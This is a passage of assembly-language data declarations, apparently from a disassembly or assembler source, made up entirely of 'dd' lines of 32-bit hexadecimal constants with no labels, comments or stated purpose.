		dd 37C20293h, 5E365C61h, 2B712EEh, 8C0F60AFh, 57C9BAF4h
		dd 0CD10D11h, 0C97B86A5h, 68FBA9C0h, 7D75F4FAh,	81DE3032h
		dd 6AF7053Ch, 0DFF112D6h, 2F842D2Eh, 7AA365A6h,	0FF969C01h
		dd 50F8CBC6h, 0B8472A5h, 123DC557h, 5F3D0901h, 8E7C9232h
		dd 54E89140h, 326E0002h, 0C63B633Dh, 0B79F617Fh, 2CC4827Ch
		dd 0D26825B9h, 1697EB4Ch, 630BBFF8h, 0BD0FA54h,	1BB1329Dh
		dd 0F2024ADh, 0FD29DBB7h, 0F84A642Dh, 56D3EE4Bh, 0E079B687h
		dd 0C5F80F29h, 0AB1E3548h, 89D3FF38h, 86DF429h,	69A09C97h
		dd 37D726C0h, 3ED6822Dh, 90F56068h, 72D98Dh, 4B53415h
		dd 0FCA79858h, 0E4615927h, 8926038Eh, 7F0D883Dh, 0F915C9B0h
		dd 0DC653500h, 14D11384h, 0BCE8FE62h, 0A25764D9h, 11020006h
		dd 0C5C18BA2h, 0FD5F0145h, 0B6660DF9h, 9F5CDEBAh, 0D4F854E9h
		dd 6632E100h, 7DC5692Dh, 0EE7F0805h, 6A8207E8h,	0D7EF0A83h
		dd 0BF5B1A60h, 9F899B09h, 92C75916h, 4896E3F5h,	0FE210279h
		dd 515044E3h, 4DD100FFh, 36E0CEE7h, 0A05F3D2Fh,	0BAB54AEEh
		dd 5C0F9BBh, 385B4D01h,	23F38103h, 0EB844EF9h, 18C8DB9Ah
		dd 78D5C3CFh, 9B81DD2Fh, 132FF759h, 5ABEB87Ah, 0F92988B7h
		dd 9252470h, 4E5E31D1h,	0E16709E7h, 6A1D71A9h, 1A465C2Fh
		dd 0BE497003h, 0B0C06FC8h, 801328B3h, 10B999CBh, 0ACDFBF84h
		dd 67F825F6h, 58B02BC9h, 0F8B04271h, 65052D25h,	0CD7BADC7h
		dd 1754650h, 2B396885h,	891031BDh, 74A99D59h, 0A96A163Ch
		dd 3F63BCA6h, 28A48559h, 90D2BB7h, 15DDFD8Ah, 0F0D940C2h
		dd 0AB0490A0h, 0DFF2348h, 9529D8D0h, 0B4284F05h, 0CD8808E1h
		dd 0D95C05D2h, 0FAF2827Ah, 5324D10Bh, 19F0704Eh, 0FE8BE314h
		dd 7D04926Ch, 79AC1D61h, 4E6AAAB4h, 74651125h, 52243F11h
		dd 1E20396Ah, 50965B1Eh, 0F99B782h, 35ADE31h, 585A5FD9h
		dd 969BB3E8h, 0C0F76D9Dh, 0BCEFD641h, 0FF53230Ah, 75CA7AFDh
		dd 987046A5h, 11C1208Bh, 0B909F94Dh, 57410Ch, 69634BBCh
		dd 8041F5E3h, 66CADB25h, 0B1109F68h, 6F009157h,	0FEDA4090h
		dd 1E35BB2h, 0A98B4AAFh, 0D048819Ch, 509D0983h,	2267B54Ch
		dd 0CF275A9Ch, 0EAC04306h, 2BE4B7C9h, 0B5898231h, 2A5BF53Bh
		dd 8D9B5E12h, 16D1A583h, 0E9A082B5h, 0F0ECF2D7h, 0EF75821Bh
		dd 601564B9h, 4AE9C276h, 2B1FF19Dh, 49004F6Eh, 9ECDA7A1h
		dd 90582E78h, 3E2A0416h, 0ECC15B54h, 342B0245h,	0A80CB97Bh
		dd 285AFAFFh, 25837F3Bh, 477B16ADh, 98BFD2ADh, 99C12528h
		dd 27903C0Ah, 88A79FC3h, 41EBB709h, 0EDD9F529h,	5C480AB1h
		dd 74FD6BFCh, 0E80190BCh, 8C82846Dh, 0B2B735Ah,	16048946h
		dd 0D7AC1231h, 0BCA5F2C0h, 6DF55AB1h, 0A36300DAh, 1309F69Eh
		dd 5BAE1204h, 85E5B8FFh, 1F168A0Fh, 0FED8FCB0h,	0DE76B46Ah
		dd 60E8702Dh, 0C29AEFB9h, 919D2B44h, 99494D5h, 21618D89h
		dd 18B1105Bh, 0BF00084Dh, 5C0A42F6h, 0C1D1FF28h, 0EACA09h
		dd 0BD720103h, 0CE14955Eh, 30DE994Eh, 5CEE06C0h, 0EB000F95h
		dd 56CD61D6h, 2D0BF66h,	81B75BC4h, 37F5026Ah, 0D807BA0Ch
		dd 815D54E9h, 6AB53156h, 505F1991h, 95C7688Bh, 0E8D875D3h
		dd 7C670132h, 0A6B36913h, 3A7ED26Bh, 14B70B12h,	2890F0Dh
		dd 0E9FC003Fh, 16950B9Eh, 0FC6620E4h, 0EAB5012Fh, 91F76E8h
		dd 0A45C8525h, 894D35EBh, 7A59E447h, 0FF747E01h, 0A3C8A014h
		dd 5E48B250h, 0C802CFD8h, 0E49AC01Bh, 191F13ECh, 0A9A6DD7Ch
		dd 5052A925h, 8C9FBF24h, 0F1801B91h, 92C93DD0h,	7934F912h
		dd 1D25E4BCh, 46F49554h, 10102414h, 8BE26002h, 692056DFh
		dd 2A10E2C1h, 9D5D6CA3h, 1ED720A9h, 1162E72h, 24A2A1BDh
		dd 0A70E452Ch, 0B7C27A74h, 0C42056DFh, 81FA5802h, 3BB0812Eh
		dd 408D21F0h, 7026E60Ah, 2F10B589h, 271E413h, 1475A1ACh
		dd 0DD980756h, 95DC8A67h, 0C6440189h, 0B3DA1F00h, 15641369h
		dd 9D9CA036h, 129EBEB5h, 106B25Bh, 5963D381h, 5044235h
		dd 0AB27FD94h, 54F9C322h, 0D38001F8h, 88C82B42h, 926394Ch
		dd 4B51D18Bh, 30102800h, 1F492784h, 47DABE4Bh, 2DE98640h
		dd 50D83023h, 47554C09h, 19D852F9h, 5106A99Dh, 2A1EE1BDh
		dd 0B529DE20h, 372AFF0Dh, 38228D8h, 0A728359Dh,	240854AEh
		dd 98080982h, 0E888BB51h, 0EDA68712h, 0CC79D073h, 69009FE2h
		dd 0A9EB6847h, 0E488D5BCh, 800F276Ch, 0F3820571h, 555BA48Eh
		dd 0B1323C45h, 0F7145706h, 53EF095Bh, 7B4610ECh, 7EC4615Fh
		dd 0F0A96F78h, 0A0026DBCh, 0D4781477h, 0C192746Ch, 0A4D537BFh
		dd 0E631B58h, 0F2A290FFh, 2475627Fh, 0F5541B71h, 9D295060h
		dd 5E2EB2CDh, 0CB0F205Bh, 400962Ch, 0D33FCF03h,	970FEA8h
		dd 0B4B9C32Dh, 56BD0E58h, 0F34AD652h, 11A024C5h, 951176D6h
		dd 42E7404h, 45C1C02Bh,	11962705h, 12BD6FD2h, 0CB09092Bh
		dd 0E11859DAh, 36F940B3h, 0B2F0F09Fh, 39B1000Dh, 29B0D307h
		dd 2BED8195h, 9A5AC48Ah, 13788115h, 0BE929D45h,	0C9C7B9FBh
		dd 54B54249h, 0FF566415h, 0A4912272h, 1DAC5FA0h, 7A84AFAh
		dd 0DCBB5200h, 5B4BB3D4h, 8DB06062h, 0A173F503h, 0A640EC00h
		dd 2DC517AAh, 0B289AC5Bh, 51642F51h, 43B58D57h,	6980ECCCh
		dd 0BD2C033Dh, 0B89CE00Dh, 803FBD27h, 0C97D21E1h, 0C0540D2h
		dd 1FF59531h, 48D75ABh,	0C2F1839Fh, 0AD401237h,	0FB4A8BE1h
		dd 79221CCAh, 45809491h, 0B02CED69h, 940102D2h,	0C4CEE3ECh
		dd 76512756h, 0B99D3310h, 0CE2A4Ah, 8F308A76h, 729FBD23h
		dd 0F6604E8Bh, 0D19D16F3h, 79DE21ACh, 528D891Dh, 64D5A202h
		dd 32AB1635h, 0F62C20F6h, 72754813h, 0DBDF993Ah, 0C414C8B4h
		dd 3D0CEF1Eh, 25BB9D0Eh, 964CED77h, 0BF90DF00h,	19529D2Dh
		dd 0FD8A3C50h, 8DE89BCBh, 23303EB1h, 30204111h,	0B4A7DBCh
		dd 19F273B3h, 1898AD30h, 0D271B3E2h, 5FC0E59Dh,	9E521C68h
		dd 0B2604B46h, 11AE005Ch, 99028116h, 0FA09001Fh, 75BEEC01h
		dd 0B12F80EDh, 3AFCFA2Ah, 468B51E3h, 0E3C6DE8Bh, 6ED78017h
		dd 71AAB8FCh, 963CD7F8h, 603202A8h, 42A3D080h, 0E21D70Dh
		dd 2BB5E961h, 0B4C2F89Eh, 8F54DE69h, 0BA015663h, 5BD5E9E5h
		dd 0D18F372Ah, 2A0E5995h, 3C4327DDh, 6FA8E485h,	9B6AAFB5h
		dd 0A0154600h, 278E4C0Fh, 107082E8h, 116DB95h, 0F8F1437Fh
		dd 0AAC22F7Dh, 22235502h, 89B21EDFh, 73253FB7h,	0EA32BB3h
		dd 91329D31h, 52044661h, 6A7F2148h, 1045408Bh, 96A0BD7Ah
		dd 48FF79BBh, 70612325h, 0C8B80355h, 0BE310F55h, 2ED0D8E8h
		dd 20585A32h, 12AB5896h, 0A35F2A1Eh, 0D61C5867h, 4D80D5B8h
		dd 0E1CC68C6h, 5EDC7FF0h, 5B61B745h, 0DDD45FACh, 0B5C17D16h
		dd 335F5063h, 7F4A9DE2h, 2DE053A6h, 0BE0434C8h,	475B968Dh
		dd 80D29AA8h, 810F907Eh
		dd 80DD0B52h, 33531708h, 505B27A2h, 85001479h, 9D89C62Dh
		dd 0D827016Dh, 3CE61594h, 8B9B5119h, 27CEB9F9h,	62507E86h
		dd 297E905Fh, 0BA8B2FDCh, 2640EF70h, 0E47549B3h, 4A38E697h
		dd 618BACE8h, 0E56BD074h, 0E25394A4h, 0BBFA9213h, 881D102Ch
		dd 0B603E381h, 0E93B86A9h, 0F217582Dh, 0DE9D80C0h, 0C400C9E7h
		dd 3B8C8C1h, 95106163h,	0B70B01Dh, 0F6B9A2BDh, 0E05F4B8h
		dd 2BDEB9E7h, 1BF1D404h, 6EE2B2A8h, 96C7792Bh, 0CFA11731h
		dd 0F95521B8h, 17C41817h, 0ED6A52B1h, 0E7818351h, 7EA9DC71h
		dd 2FFD6BD2h, 5475F905h, 0BC53F204h, 0DBC17127h, 8B2A288Dh
		dd 0B0FD561Eh, 5D03B45h, 0E2F3E87h, 0DA21AE12h,	582CBDBEh
		dd 6BDD0C02h, 4F7963Eh,	42C160AAh, 0B6CC43D1h, 715A1FEEh
		dd 0E37BE761h, 4A360770h, 0C48FA95Ah, 0F80A1A55h, 324FAF9Eh
		dd 0E107A760h, 1E8338DEh, 81BF02Eh, 0F320082Dh,	2BD10409h
		dd 223A554Bh, 4D4B7DCh,	0C684A114h, 0FC90EFB2h,	2D2CBEBFh
		dd 0A25C6228h, 140FFDE2h, 12578CA2h, 0F0B70B95h, 0ECB7B5B8h
		dd 41353D00h, 13BC213Eh, 0A122706Dh, 4AE87C96h,	17E136E6h
		dd 507AC829h, 0C887DD31h, 9C6A06A9h, 649789C3h,	67909711h
		dd 5800576Fh, 269BC0B5h, 3C8E149Dh, 249DD41Fh, 9F90D82Fh
		dd 0E896B886h, 0FBCA9DF6h, 8F78905Dh, 0F39E49Ch, 9E7A0DC5h
		dd 4C3C8B00h, 49B856A5h, 50B70244h, 2F95AB6Bh, 94592599h
		dd 53FABF09h, 0F27D9695h, 8589827Dh, 969DE831h,	74EA07BFh
		dd 115049EFh, 0EE5FF88Bh, 17DC9D76h, 0A88263CEh, 0B589C12Bh
		dd 0FE052A6Dh, 8551B211h, 29FF21C5h, 0B2112AEh,	3B0C81E1h
		dd 1088AAA3h, 8A0EBB82h, 0A239C340h, 0F3C56D9h,	8B65CABFh
		dd 0FC3B224Dh, 846CA554h, 707FEBF1h, 0DB805115h, 0CE5F3C2Fh
		dd 0D44BB4EBh, 0B5A6485Ah, 0CE62AA03h, 80E14EF5h, 0D0BEFDCCh
		dd 7D38A94Fh, 45F9A561h, 281A1198h, 0C025A460h,	0B77D4661h
		dd 2A1CB941h, 1CAA7D25h, 58472506h, 825B59A7h, 306DBD2Bh
		dd 0F5A18209h, 67E90310h, 5CF6EAB5h, 0A8E974F0h, 0D30970F8h
		dd 0FFCF684Bh, 0A8DAF304h, 0FB97DE1Eh, 0DCCDDAA1h, 0F1FA4220h
		dd 5F25CC42h, 0DB9D37C4h, 24A0717Ch, 350848Eh, 0FE60BF7Ch
		dd 0C09B980h, 0EB379706h, 0EFC26807h, 8817B33Eh, 0ECD985AAh
		dd 0A1DB4F83h, 8FB3E080h, 49178E56h, 3BC8860Fh,	410C8FAh
		dd 892D95A0h, 60905E69h, 11BC0568h, 8B22142Fh, 70E9D300h
		dd 3EFBC7AAh, 7E488C20h, 4C672D42h, 5FD0037Bh, 0B5577087h
		dd 4BB46B66h, 9144E3C0h, 24C6151Eh, 0B3000C86h,	0CFDC3631h
		dd 31BF4A9Eh, 4D100AAEh, 6E07A3F3h, 79184C21h, 95A86544h
		dd 0FFDE8AC1h, 526E6FD1h, 8513B800h, 0C0CFBE66h, 2689602Ch
		dd 0BC953016h, 618149EFh, 4447B251h, 903D7509h,	0FC329509h
		dd 14261087h, 4EA1026Ah, 9550EDE4h, 0FA8A4D18h,	0CC77FCAAh
		dd 200C9073h, 0E9741475h, 123147B5h, 0E98512C3h, 3FD5BC18h
		dd 305A7C3Dh, 0BE9DA0ECh, 79043401h, 95039FF5h,	6154922Bh
		dd 9D7113F3h, 130BC27Bh, 0B34C16D5h, 12875884h,	43B88801h
		dd 1A2C4FF8h, 0B6D1986Ch, 60720422h, 74FFB902h,	0D65A2F16h
		dd 0BA6115C1h, 57234C7Fh, 0FAD11CD9h, 6FCF9854h, 0FEA34BBFh
		dd 0DF8BE23Fh, 64E66D5Fh, 92176316h, 57385FFEh,	55C93199h
		dd 10FF54FFh, 12744C28h, 7AEA139Dh, 43CB091Eh, 116D53F9h
		dd 29600428h, 5C9081BDh, 0B2C5B509h, 0B0612F44h, 6ABB3168h
		dd 9D740195h, 0FF0909E5h, 451050E9h, 0FB75F48Ch, 0D40B38BDh
		dd 0AC1C00BFh, 2C1A7CA0h, 1F099B37h, 5096711Bh,	0CF66C286h
		dd 76544EFFh, 8941294Bh, 4AF142h, 0DAA4B1DEh, 6000EF8Ah
		dd 5F802A7Eh, 2D508CEh,	128332ECh, 8AFC3EACh, 29E2F780h
		dd 0BF201D85h, 0A8C47D13h, 1EFC217h, 0C98D544Ch, 0E9784AD4h
		dd 8023C58Ch, 6F81BAE7h, 44C04E49h, 18E320Fh, 9754FC1Fh
		dd 0DE1A61A6h, 54DD0A0Ch, 25253508h, 1744B0F4h,	8D590B52h
		dd 37805FCAh, 52E961C2h, 0B05121CCh, 0EC2A12C3h, 4498A65Fh
		dd 800C05Dh, 41517807h,	2770D902h, 806ABA7Eh, 27118AF9h
		dd 5FF9D450h, 0C21BF204h, 921DDBDh, 0AF756F08h,	0D9B89977h
		dd 8293642Ah, 0B0D30B86h, 775C78h, 798CB7B0h, 59D292Dh
		dd 95520E40h, 3695EF00h, 73B56A5Bh, 80977803h, 4663E325h
		dd 94B976A5h, 1A642F50h, 0A99E8C00h, 0A0B61C09h, 1E1115E6h
		dd 2D3BD346h, 6154F940h, 0A999FCABh, 0F1C0CC9Dh, 0FE55FDE3h
		dd 181FC9Bh, 202ABFDFh,	3DC02B6Ah, 13B1B82Ch, 0E09767F3h
		dd 0D25F2BECh, 737CC8h,	9F48275Dh, 3864987Fh, 407B2D00h
		dd 0A6545CDFh, 0F6AB5F36h, 439AD323h, 0C150C984h, 51315A6h
		dd 50FE4A09h, 273979Eh,	2E71D0h, 8C67024Fh, 9CEDD909h
		dd 14D38013h, 7AAA6C94h, 89201212h, 0BF50BBA3h,	0DF188A0Dh
		dd 85025A56h, 86A4DD87h, 56C054CAh, 286DEDA0h, 29DCCB5h
		dd 0C8B9595Fh, 93544D80h, 0E73E8D51h, 0D09AB0A8h, 18D726Ch
		dd 0B616538h, 2A27C9BDh, 0F9BBAA61h, 0BF7256F4h, 6A5EC03Ah
		dd 0B07A2DD4h, 1C05B3E2h, 0CCF2C680h, 0B9E0253h, 0F3E1FF61h
		dd 41AB716Fh, 7E0E91A5h, 94BAEB38h, 79002BADh, 3E047B8Eh
		dd 0E1C276F0h, 51E25412h, 263AFA4h, 54EB6D16h, 0A85C51E1h
		dd 0F9207F25h, 12F69425h, 0DE34FBDFh, 2E10B46Fh, 98882527h
		dd 0B343023h, 2FD59501h, 0FCE0D02Bh, 4208C781h,	44541BD2h
		dd 0B66F56AAh, 8E98F903h, 0E8F8CCDBh, 30BFFA91h, 41E18D8Ch
		dd 9F1A7B2Ch, 0D2357F19h, 0A08B1491h, 0FA3220D6h, 52892F17h
		dd 71A5DDFCh, 0BB61802Bh, 4B8A1EADh, 5ED3013Ah,	29663FEAh
		dd 0F007B1Dh, 1047A1E9h, 369A05F9h, 0BBB7ABF7h,	0B19BD913h
		dd 418B2282h, 21004054h, 0A168FCC2h, 0C08A25F2h, 82FBCE70h
		dd 94115EB0h, 0E4994D3Fh, 2A6BFB0Ah, 0CD001D23h, 0E80A0298h
		dd 0D2AD0B27h, 0FC80AC7Ch, 36123EFEh, 97283580h, 1C7914F3h
		dd 0A3009A18h, 0C2D7DB87h, 0F6B7CED4h, 2CD1B560h, 3964AFh
		dd 13340B46h, 9E411581h, 929CC400h, 86AB764Eh, 61FF0247h
		dd 222E95Bh, 40336F55h,	8F0D988Eh, 6E0A8002h, 0D379376Ah
		dd 0FDBD058Dh, 0D215FD13h, 0B4FBEC8h, 713E9164h, 0FB9517FAh
		dd 9AC6D08Ah, 0A0C96D4Ah, 0DBD8F79h, 0ADF26096h, 0C0DB2B4Ah
		dd 7AC02CD0h, 580BCA11h, 7D5CB36Bh, 8D80B337h, 0F599583Bh
		dd 0B43709BFh, 35B00DBEh, 4E09C381h, 582C987Ch,	8737BFA8h
		dd 0BD47E402h, 0CD687538h, 2A948D31h, 720EE123h, 968802C6h
		dd 40A0DC50h, 496487E6h, 0C927A00h, 0CECC0538h,	0F218013Fh
		dd 4A50710Dh, 7A5331F6h, 68721820h, 0F985076Ch,	70C71B45h
		dd 0A0239B6Bh, 0F8A70D2Fh, 8037B104h, 3BB7F581h, 9C5EBC7Ah
		dd 945EADA8h, 0E147E625h, 302ED730h, 0C99D0B0Dh, 0CFAA0454h
		dd 0B468010Bh, 71AC5611h, 25B97ED9h, 641E3C4Ch,	8A12F8CEh
		dd 0BFA320DEh, 517867Ch, 56A6587Eh, 19B5A3E0h, 4EA17E02h
		dd 55BFBC0Bh, 8E902BE6h, 54199A95h, 5E360398h, 0DA8505Bh
		dd 425AF307h, 0DAE4F9D7h, 0DA4B83CAh, 4AF38C68h, 81614EDFh
		dd 70DA5C1h, 1F4D9561h,	84FEE907h, 95FEBF70h, 485A2394h
		dd 29CB909Eh, 5CADA5FEh, 8B07DE7Ah, 1FBFCD4Eh, 5F43F81Bh
		dd 0E9C0CE30h, 5BB8646Dh, 0C4B49500h, 0A51B3C2h, 9603D05h
		dd 0FD1E5517h, 0C56B80CAh, 4E3EE57h, 0F615490h,	5064A485h
		dd 0D26E5B4Bh, 2DBDDA04h
		dd 28F18CEEh, 87E3CC3Ch, 120A917h, 2B61BD11h, 0BE56382Eh
		dd 0D3B50470h, 0F4827845h, 0B3453248h, 6F565B93h, 6C7A2FCDh
		dd 5C989D71h, 241619Dh,	4B2C1720h, 0C8709A14h, 0AADDC11Bh
		dd 0BF886BBCh, 0B44C9DF9h, 10319D10h, 39136D4Ch, 0D2B4F913h
		dd 8499D3C3h, 61C9B402h, 4F41EC5Fh, 969A5D88h, 293B8981h
		dd 0B30250CBh, 4F903A4Ah, 55C21C9Ah, 0E72F8571h, 9FDAB08Bh
		dd 82E71691h, 972AECDDh, 7700E6ECh, 71D517BAh, 0CD009E08h
		dd 0A5A3408Fh, 27F33E03h, 44E9EAh, 0B62B3C00h, 16A50C35h
		dd 967F023Dh, 5BE93F65h, 0F8B7425Dh, 6CC59FBFh,	1237F150h
		dd 0E68C0C46h, 3015B29Eh, 570ACB5Dh, 0E5565FF5h, 12280D08h
		dd 0B297E65Bh, 0C4EB3116h, 0F3258042h, 596C53FBh, 27DB1816h
		dd 3B89F70Ah, 48F6DCDEh, 0CA1D13B7h, 6DCB4085h,	60FB8BD5h
		dd 0F91B10Bh, 0D923318Fh, 5073E47Ah, 0F988F997h, 95631814h
		dd 1B64B04Dh, 9A5ABD60h, 72D1C905h, 0EAC889Dh, 0E910A913h
		dd 2EC380A0h, 7648069h,	1BAEC4A0h, 61D88096h, 189753B3h
		dd 4F8D01C0h, 0F9D9C8A9h, 258AEEBFh, 83CE3085h,	0E3A5BB01h
		dd 0BF962322h, 3B57F7C4h, 0C1C9503Dh, 8062ECBCh, 0D7518F1Ah
		dd 7086923Ah, 8FBE127h,	52E60013h, 5F9074F9h, 0D202635Eh
		dd 53080C02h, 8845D761h, 834B6052h, 0A3430B91h,	717C62BEh
		dd 649AED2Fh, 3DF26016h, 409D9CA3h, 38C01C33h, 915990Eh
		dd 81F121F0h, 8BCC0CE7h, 0DB149761h, 0F8A24A49h, 0A114264Eh
		dd 3DB505C7h, 5C22AB2Fh, 0B60B0B1Dh, 0ADE267F4h, 8DC50E1Ah
		dd 0AB1417FDh, 0BAB5C423h, 0CD971409h, 805DC5E1h, 0D4AAE512h
		dd 32E24798h, 41C4D1B5h, 1E5185h, 3CC08160h, 172DD529h
		dd 84B9BF90h, 467043F2h, 24C7082Ch, 1FA2DD00h, 13669CD8h
		dd 0B761C1E7h, 1FF9144Ah, 0D3F0032Bh, 294057FDh, 2583B5DEh
		dd 7F112FC5h, 0AE805F76h, 6AE05A71h, 258436DCh,	3CE4C25Dh
		dd 0DC8554BFh, 0C1526494h, 93BB1A7h, 9B5BC677h,	0C64A92D3h
		dd 97370067h, 1D2CE819h, 3C05AD01h, 4A55610Eh, 1101A8B2h
		dd 0B13F7DA7h, 0EC8F2ADBh, 0A88CB95Eh, 0FC461728h, 2890FE89h
		dd 71F239E9h, 0F8E08DFFh, 0F0B3D3h, 5CA552FAh, 0B7D8D09h
		dd 9605D582h, 3BCFAE0Ah, 0EC3118C9h, 669BC02Fh,	12BB645Ch
		dd 0D3F3E105h, 32BCF34Dh, 7B966D04h, 8DA8F853h,	90369F00h
		dd 0AF0A54BBh, 64872B4Bh, 0B3D8AD68h, 0B32602B5h, 0A009DF24h
		dd 0C89757B7h, 451F71AAh, 0F381100Ch, 956AF257h, 45841F71h
		dd 0DCBAC1DAh, 73038DBEh, 0A5C3D42Dh, 0F76A8A63h, 0AB8F84B7h
		dd 255DDDFBh, 54D68BFFh, 0E01D520h, 6C3A7046h, 14F139F8h
		dd 0BBF6133h, 0D70C1A94h, 0EBF87285h, 0A5456ED4h, 9F040967h
		dd 5740078Eh, 0F15F1BBBh, 5EB5284Ah, 0A166167Ah, 5B0ABA90h
		dd 996C0FCh, 9455C1E9h,	0DCF2B410h, 0E5012C98h,	271A1949h
		dd 342FED0Fh, 0B4C1FAC4h, 346BBB9Fh, 0D16082A7h, 44EE04CDh
		dd 0A5C13DA7h, 0E33F1F75h, 305D8DF6h, 0D08EDB7Eh, 0B5F316A6h
		dd 59FFDB00h, 2A50026Ah, 95AED1B3h, 0D7C0A76Dh,	40A911ABh
		dd 174F396Ah, 0F25AD18Ah, 59E909C3h, 62DB790Dh,	7D091A9Eh
		dd 0A19D7381h, 5EF72F1Eh, 0FB118DA0h, 0F3511A05h, 9CC3EB87h
		dd 0B6BC84B5h, 189ABAB4h, 0F79EB280h, 0DB2D0183h, 0DAAFC950h
		dd 84FA4407h, 5C7BAAF4h, 4C30E800h, 0F24B6D79h,	20B06E4Fh
		dd 0BF668015h, 0ECE6AC25h, 97A090C8h, 383B5B51h, 43B24A69h
		dd 32143093h, 0FE121146h, 0D8F7483Fh, 89749A4Ah, 0FFCC05D8h
		dd 0DFB850F9h, 66C49802h, 0E1EB7C1Fh, 133FBD01h, 2E6FB2h
		dd 0E6822636h, 2FD008E3h, 0FF50236Ah, 423B5195h, 0B0113h
		dd 2C1CA1F0h, 84B04E6Dh, 6C44BF37h, 488270E6h, 821057EDh
		dd 0E90912CFh, 7AF971E4h, 20ED45EBh, 8F97DE7Ah,	0D7F3F2DBh
		dd 0C7468A27h, 980CBD20h, 0DB810271h, 54CEF070h, 303CD5Eh
		dd 1E5D9Dh, 81E2F773h, 68D651C7h, 0C82B3C18h, 1FD2E388h
		dd 41D18BD9h, 0E95F8AB7h, 4FB416A9h, 85A8D24Dh,	50A2057Fh
		dd 0C0AB93EBh, 9720EBECh, 0A3A83Eh, 8F22C2CDh, 0C3675FEFh
		dd 128726D1h, 59AC2055h, 0E9DE34C9h, 312637E0h,	0DBE53253h
		dd 0E2A18DE0h, 0A55FE95Bh, 62181025h, 0B152006Eh, 3075A310h
		dd 3204E673h, 918FCA5h,	0A8D0A0BCh, 39FBDB27h, 0A5040A11h
		dd 0AA382275h, 0E0B8E634h, 99A82488h, 315D3F02h, 5F085585h
		dd 0CD16FFE7h, 960966C9h, 612FDEF1h, 599C7DDh, 88C5E89Bh
		dd 0CBDC07B3h, 2644DDBDh, 3AA7F0BAh, 58E627E9h,	3D0860F6h
		dd 61F80912h, 0DD73BA55h, 3700CD35h, 337D9F16h,	446AE39Dh
		dd 91F9BD6Bh, 501CB959h, 0A5B3BFE4h, 0E0644325h, 1DEBBBF0h
		dd 0A5055BA7h, 9AC06EEDh, 0F5C946h, 0EE16B46Fh,	0DF81FAACh
		dd 0C1E1FF5Bh, 68D1CF02h, 4FC02B85h, 0BB3E88BAh, 0EDD3D525h
		dd 10B5ADE1h, 0C56DD00h, 0BD6CFF3Ch, 0E0C08D6Dh, 1AFFF75h
		dd 6D4DA76h, 6F2BAC34h,	992ABFF1h, 805128A5h, 3AC63CA5h
		dd 0C9322782h, 94D65AD4h, 0C55FC0E2h, 41243953h, 0E2256A5Ah
		dd 69F45C8Fh, 11D59202h, 55B3C209h, 0CDAFAA17h,	57744199h
		dd 6A123187h, 0BD8BE95Dh, 0BF9268C9h, 42B5CC3h,	2509CA4Bh
		dd 0D850FBAFh, 0B84A8335h, 59F8AFE9h, 3C699217h, 0F92726BCh
		dd 888D1B4Eh, 0FDE63461h, 5047A36Bh, 840B910h, 9BE15AFFh
		dd 552280F7h, 25C90A0Dh, 19C43E61h, 7B971907h, 6B90DDA2h
		dd 12A6412h, 0C7044A6Eh, 3ACF5DCBh, 0FF3A2B28h,	80419E2Bh
		dd 750DCE4Ah, 0DCE513FAh, 882AA2F8h, 0A10AF25h,	62003DABh
		dd 0E2DD4D17h, 21BD3386h, 7FC91991h, 1F815092h,	2E602E98h
		dd 3D072D6Eh, 3231F99Dh, 4C7507BDh, 7E18454Ah, 52A6B920h
		dd 62D31CB9h, 2AF9005Dh, 0D2167021h, 6CD0BF02h,	745F4FE7h
		dd 95290243h, 1B570DB1h, 1252A43Fh, 5FD7EDAFh, 115F488h
		dd 0AF45552Ah, 0D825D381h, 5F4E54E6h, 14AC23A9h, 0B1BE588Ch
		dd 53B41122h, 0B4FC6140h, 67F042Dh, 0C23A087Dh,	5D74759Ch
		dd 0ECF41355h, 536AC9E1h, 0A89A78D8h, 0DA80BF09h, 55B057BEh
		dd 1C40D1BDh, 9187268h,	5B527D5Ah, 0E707D654h, 0CD9B456Bh
		dd 27AC2C9h, 1A9C8557h,	8C5275FEh, 1E05E247h, 11AA5091h
		dd 0FACCD5EFh, 0D326BD09h, 3918B10Ch, 0D843882Eh, 0B5290701h
		dd 16DDBBA5h, 0D4F4BE5Ah, 8190963Eh, 1AD20BF4h,	246CF722h
		dd 927D2BCBh, 2DC95CEEh, 0ADD92573h, 0D520822Eh, 5325CB5Eh
		dd 0EB6080B9h, 0D19F1AE1h, 0B1CC084Bh, 0B58913F5h, 0A5FF5D71h
		dd 0DECC7Eh, 8759051Fh,	2FB30C61h, 0FE499391h, 0FD00D4F6h
		dd 0E84259C6h, 281082Fh, 0EBDB96F3h, 0C47D3318h, 0F0DB9F84h
		dd 79ACD8h, 68E4E60Dh, 0E9B3FB8Bh, 0F8A59650h, 2D5D164Eh
		dd 0F08A4C0h, 7EBB5631h, 0CFD13E6h, 0D01EF5Bh, 2D759D89h
		dd 12DECB3Fh, 39AE01EDh, 189E4210h, 19E429h, 0D2D7ABEDh
		dd 71A765CEh, 9DD4A00h,	7039F0C8h, 1917131Eh, 5F04AA68h
		dd 0BF430589h, 0A9DF0DC5h, 2FE94E8Dh, 11DE88h, 64C8FDBCh
		dd 230FE68h, 97C25B4Bh,	5FBB10DCh, 49017310h, 268C15ECh
		dd 0B023B06h, 41542E79h, 4BFC90E5h, 0F55A6680h,	457F1232h
		dd 982EF2E4h, 0E6173961h, 45BB8A16h, 0EC33E98Ah, 0A45A12E3h
		dd 8509F860h, 88CAB579h, 0A970F05Bh, 0CD56001Ch, 0B131F4D7h
		dd 0F99F1DB3h, 7E2FE846h, 4C3B9100h, 4EF91C1Ah,	76149753h
		dd 934DD2B5h, 0B05D7A2Ch
		dd 0BFFD172h, 30258D31h, 3BE8E093h, 0EC9D20E9h,	0CE5B4B32h
		dd 0AA36E9ABh, 9D7B8B2h, 0E3D75CEFh, 46E9BA3Fh,	29B13E14h
		dd 5F25F178h, 0B61D6CE5h, 96E3D25h, 99F769B0h, 0BE7C60FAh
		dd 0A5CD0C80h, 0CA7D5A0Dh, 5087D200h, 43440580h, 0B70E864h
		dd 959D090Ah, 1A6A8876h, 70BE67E4h, 6115A1FBh, 24BA5200h
		dd 130A2F7Ah, 0DA034B1Fh, 0C714C800h, 0A2D7C045h, 3E4B65A7h
		dd 0AF3897CDh, 0DD2FFD4Bh, 0CEB903D2h, 0F59233CFh, 5B8D7DBCh
		dd 1980B89Bh, 0E1783763h, 0E002E94Eh, 551201D3h, 1A41C316h
		dd 0A7CB2485h, 118AAAC5h, 48EE7AA0h, 0AD656C17h, 0E15A89B3h
		dd 0AD126A22h, 0B65A0CE7h, 0F4A0A770h, 9722DA0Ch, 0BD7D0B89h
		dd 385E8523h, 0CED8AF97h, 0A8564ADBh, 5E09807Ah, 25C438E5h
